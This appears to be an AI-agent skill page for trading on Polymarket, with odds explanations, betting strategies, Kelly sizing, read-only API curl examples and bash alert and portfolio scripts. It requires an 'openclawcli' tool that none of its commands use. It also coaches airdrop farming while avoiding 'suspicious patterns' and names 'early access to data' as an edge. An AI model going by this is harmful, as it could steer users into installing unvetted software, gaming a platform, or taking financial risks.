Loading...
Loading...
Trade prediction markets on Polymarket. Analyze odds, place bets, track positions, automate alerts, and maximize returns from event outcomes. Covers sports, politics, entertainment, and more.
npx skill4agent add sundial-org/awesome-openclaw-skills polymarketopenclawExample: "Will it rain tomorrow?"
YES shares trading at $0.65
NO shares trading at $0.35
If you buy YES at $0.65 and it rains:
- You receive $1.00
- Profit: $0.35 (54% return)
If it doesn't rain:
- Shares worth $0.00
- Loss: $0.65Prerequisites:
- openclawcli must be installed and running
Steps:
1. Visit polymarket.com
2. Connect with email or Web3 login
3. Deposit USDC (Polygon network)
4. Start tradingEach market has YES and NO shares
- Prices always sum to ~$1.00
- Price = implied probability
- $0.70 YES = 70% chance according to market
You can:
- Buy YES (bet it happens)
- Buy NO (bet it doesn't)
- Sell anytime before resolutionhttps://clob.polymarket.com
https://gamma-api.polymarket.com# List all active markets
curl -s "https://gamma-api.polymarket.com/markets?closed=false&limit=100" | jq '.[] | {question, slug, outcomePrices}'# Get specific market by slug
SLUG="will-trump-win-2024"
curl -s "https://gamma-api.polymarket.com/markets?slug=$SLUG" | jq '.[0]'CONDITION_ID="0x..."
curl -s "https://gamma-api.polymarket.com/markets?condition_id=$CONDITION_ID" | jq# Search by keyword
curl -s "https://gamma-api.polymarket.com/markets?tag=politics&closed=false" | jq '.[] | {question, outcomePrices}'# CLOB API for order book data
MARKET_ID="your-market-id"
curl -s "https://clob.polymarket.com/book?market=$MARKET_ID" | jq# Recent trades for a market
curl -s "https://clob.polymarket.com/trades?market=$MARKET_ID&limit=50" | jq- Elections (US, global)
- Policy decisions
- Legislation outcomes
- Government actions
- Geopolitical events- Game outcomes
- Championship winners
- Player performance
- Transfer rumors
- Season records- Earnings reports
- Product launches
- M&A activity
- IPO timing
- Executive changes- Award shows
- Box office performance
- TV ratings
- Celebrity events
- Streaming numbers- Climate data
- Space missions
- Scientific discoveries
- Natural events
- Health/pandemic- Fed rate decisions
- Inflation data
- Employment numbers
- GDP reports
- Market indicesStrategy: Trade when you have better information than the market
Examples:
- Local knowledge (weather, events)
- Industry expertise
- Early access to data
- Research skills
Process:
1. Find market where you have edge
2. Assess if price reflects your info
3. Size position based on confidence
4. Monitor for new informationStrategy: Exploit price discrepancies
Types:
- Cross-platform (Polymarket vs Kalshi)
- Related markets (correlated outcomes)
- Yes/No mispricing (should sum to $1)
Example:
Market A: "Team wins championship" = $0.40
Market B: "Team makes finals" = $0.35
Arbitrage: Can't win championship without making finals
Action: Buy "makes finals" if you believe championship oddsStrategy: Follow price trends
Signals:
- Rapid price movement
- Volume spikes
- News catalysts
- Social sentiment
Process:
1. Identify trending markets
2. Confirm with volume
3. Enter with trend
4. Set stop-loss
5. Exit when momentum fadesStrategy: Bet on overreactions correcting
When to use:
- Sharp moves on minor news
- Emotional/sentiment driven spikes
- No fundamental change
Example:
- Celebrity rumor moves market 20%
- Rumor debunked
- Price should revertStrategy: Trade around scheduled events
High-impact events:
- Election days
- Earnings releases
- Fed meetings
- Court decisions
- Sports games
Process:
1. Calendar upcoming events
2. Assess current pricing
3. Position before event
4. Or wait for live trading opportunitiesOptimal bet size = (bp - q) / b
Where:
b = odds received (decimal - 1)
p = probability of winning (your estimate)
q = probability of losing (1 - p)
Example:
- Share price: $0.40 (market says 40%)
- Your estimate: 60% chance
- Potential profit if win: $0.60 per share
b = 0.60 / 0.40 = 1.5
p = 0.60
q = 0.40
Kelly = (1.5 × 0.60 - 0.40) / 1.5
Kelly = (0.90 - 0.40) / 1.5
Kelly = 0.33 (33% of bankroll)
Most traders use fractional Kelly (25-50%) for safetyConservative:
- Max 5% per position
- Max 20% correlated exposure
- Always have exit plan
Moderate:
- Max 10% per position
- Max 30% correlated exposure
- Use stop-losses
Aggressive:
- Max 20% per position
- High conviction trades only
- Accept higher variance# Questions to ask:
1. Why is this mispriced?
- Information asymmetry?
- Emotional trading?
- Low liquidity?
2. What does the market know that I don't?
- Check news sources
- Review trading history
- Analyze large positions
3. What's my edge?
- Unique information?
- Better analysis?
- Faster reaction?Base rate analysis:
1. Find historical frequency
2. Adjust for current context
3. Compare to market price
4. Identify gaps
Example: "Will Company X beat earnings?"
- Historical beat rate: 75%
- Current conditions: Strong sector
- Analyst sentiment: Positive
- Your estimate: 80%
- Market price: $0.65 (65%)
- Gap: 15 percentage points
- Action: Consider buying YES# Check order book depth
curl -s "https://clob.polymarket.com/book?market=$MARKET_ID" | jq '{
best_bid: .bids[0],
best_ask: .asks[0],
bid_depth: .bids | length,
ask_depth: .asks | length
}'
Good liquidity indicators:
- Tight spread (<$0.02)
- Deep order book (>$10k each side)
- Active trading (>100 trades/day)
Poor liquidity warnings:
- Wide spread (>$0.05)
- Thin book (<$1k depth)
- Few recent trades#!/bin/bash
# Monitor market price and alert on threshold
MARKET_SLUG="your-market-slug"
THRESHOLD_HIGH=0.70
THRESHOLD_LOW=0.30
CHECK_INTERVAL=60
while true; do
PRICE=$(curl -s "https://gamma-api.polymarket.com/markets?slug=$MARKET_SLUG" | \
jq -r '.[0].outcomePrices | fromjson | .["Yes"]')
ALERT=""
if (( $(echo "$PRICE > $THRESHOLD_HIGH" | bc -l) )); then
ALERT="HIGH: $MARKET_SLUG at $PRICE"
elif (( $(echo "$PRICE < $THRESHOLD_LOW" | bc -l) )); then
ALERT="LOW: $MARKET_SLUG at $PRICE"
fi
if [ -n "$ALERT" ]; then
echo "[$(date)] $ALERT"
# Add notification here (telegram, email, etc)
fi
sleep $CHECK_INTERVAL
done#!/bin/bash
# Track multiple positions
POSITIONS=(
"market-slug-1:YES:100"
"market-slug-2:NO:50"
)
echo "=== Portfolio Status ==="
echo "Date: $(date)"
echo ""
TOTAL_VALUE=0
for pos in "${POSITIONS[@]}"; do
IFS=':' read -r SLUG SIDE SHARES <<< "$pos"
DATA=$(curl -s "https://gamma-api.polymarket.com/markets?slug=$SLUG")
QUESTION=$(echo $DATA | jq -r '.[0].question')
PRICES=$(echo $DATA | jq -r '.[0].outcomePrices | fromjson')
if [ "$SIDE" == "YES" ]; then
PRICE=$(echo $PRICES | jq -r '.["Yes"]')
else
PRICE=$(echo $PRICES | jq -r '.["No"]')
fi
VALUE=$(echo "$SHARES * $PRICE" | bc)
TOTAL_VALUE=$(echo "$TOTAL_VALUE + $VALUE" | bc)
echo "Market: $QUESTION"
echo "Position: $SHARES $SIDE @ \$$PRICE = \$$VALUE"
echo ""
done
echo "=== Total Portfolio Value: \$$TOTAL_VALUE ==="#!/bin/bash
# Find newly created markets
curl -s "https://gamma-api.polymarket.com/markets?closed=false&limit=50&order=startDate&ascending=false" | \
jq '.[] | {
question: .question,
created: .startDate,
volume: .volume,
liquidity: .liquidity,
yes_price: (.outcomePrices | fromjson | .["Yes"])
}'- Status: Confirmed Q1-Q2 2026
- US market relaunch completed
- Distribution to active tradersHigh Value:
✓ Trading volume (most important)
✓ Number of markets traded
✓ Unique active days
✓ Early market participation
✓ Liquidity provision
Medium Value:
✓ Account age
✓ Consistent activity
✓ Diverse categories
Low/Unknown:
? Referrals
? Social engagement
? Winning percentageWeekly targets:
□ Trade in 5+ different markets
□ $500+ weekly volume
□ Activity on 5+ unique days
□ At least 1 trade in new market
□ Mix of categories (politics, sports, etc)
Monthly review:
□ Total volume trending up
□ Market diversity maintained
□ No suspicious patterns
□ Consistent engagement# Error: Cannot fetch market data
# Solution: Verify openclawcli is running
# Error: API timeout
# Solution: Check internet connection and restart openclawcli
# Error: Invalid response
# Solution: Update to latest openclawcli version⚠️ Resolution Risk
- Ambiguous outcomes
- Disputed results
- Delayed resolution
⚠️ Liquidity Risk
- Can't exit large positions
- Slippage on trades
- Illiquid markets
⚠️ Information Risk
- Late/wrong information
- Market manipulation
- Insider trading⚠️ Smart Contract Risk
- Potential vulnerabilities
- Bridge risks (Polygon)
⚠️ Regulatory Risk
- US restrictions (now resolved)
- Future regulatory changes
- Regional limitations
⚠️ Oracle Risk
- Resolution source accuracy
- Oracle manipulationBest Practices:
□ Diversify across markets
□ Don't oversize positions
□ Check resolution sources
□ Monitor for news
□ Keep some dry powder
□ Understand market rules before tradingFind related markets and trade the spread:
Example:
- "Candidate A wins primary" = $0.60
- "Candidate A wins general" = $0.35
If A must win primary to win general:
- General should be ≤ Primary
- Look for mispricingsStrategy for real-time events (sports, elections):
1. Pre-position before event
2. Watch live with market open
3. React faster than market
4. Scale in/out as odds shift
Tools needed:
- Fast data feed
- Quick execution
- Pre-planned scenariosReduce risk by offsetting positions:
Example:
- Long "Team A wins" at $0.50
- Event: Key player injured
- Hedge: Buy "Team A wins" NO to lock in smaller loss
- Or: Buy related "Team B wins" YES
Cost of hedge = insurance premiumcurl -s "https://gamma-api.polymarket.com/markets?closed=false&order=volume&ascending=false&limit=20" | \
jq '.[] | {question, volume, liquidity}'curl -s "https://gamma-api.polymarket.com/markets?closed=false&order=endDate&ascending=true&limit=20" | \
jq '.[] | {question, endDate, outcomePrices}'curl -s "https://gamma-api.polymarket.com/markets?closed=false&order=liquidity&ascending=false&limit=20" | \
jq '.[] | {question, liquidity, spread}'# Politics
curl -s "https://gamma-api.polymarket.com/markets?tag=politics&closed=false" | jq
# Sports
curl -s "https://gamma-api.polymarket.com/markets?tag=sports&closed=false" | jq
# Business
curl -s "https://gamma-api.polymarket.com/markets?tag=business&closed=false" | jq| Date | Market | Side | Shares | Entry | Current | P&L | Notes |
|------|--------|------|--------|-------|---------|-----|-------|
| 1/15 | Election X | YES | 100 | $0.45 | $0.52 | +$7 | Holding |
| 1/18 | Game Y | NO | 50 | $0.30 | $0.25 | +$2.5 | Won |
| 1/20 | Event Z | YES | 75 | $0.60 | $0.55 | -$3.75 | Stop? |- polymarket.com - Main platform
- docs.polymarket.com - Documentation
- Discord - Community (search Polymarket Discord)- polymarket.com/activity - Platform activity
- dune.com - On-chain analytics
- parsec.finance - DeFi tracking- @Polymarket on X
- @PolymarketBets on X
- Prediction market newsletters
- Event-specific news sources- Kalshi (US regulated)
- Manifold Markets (play money)
- Metaculus (forecasting)
- PredictIt (political)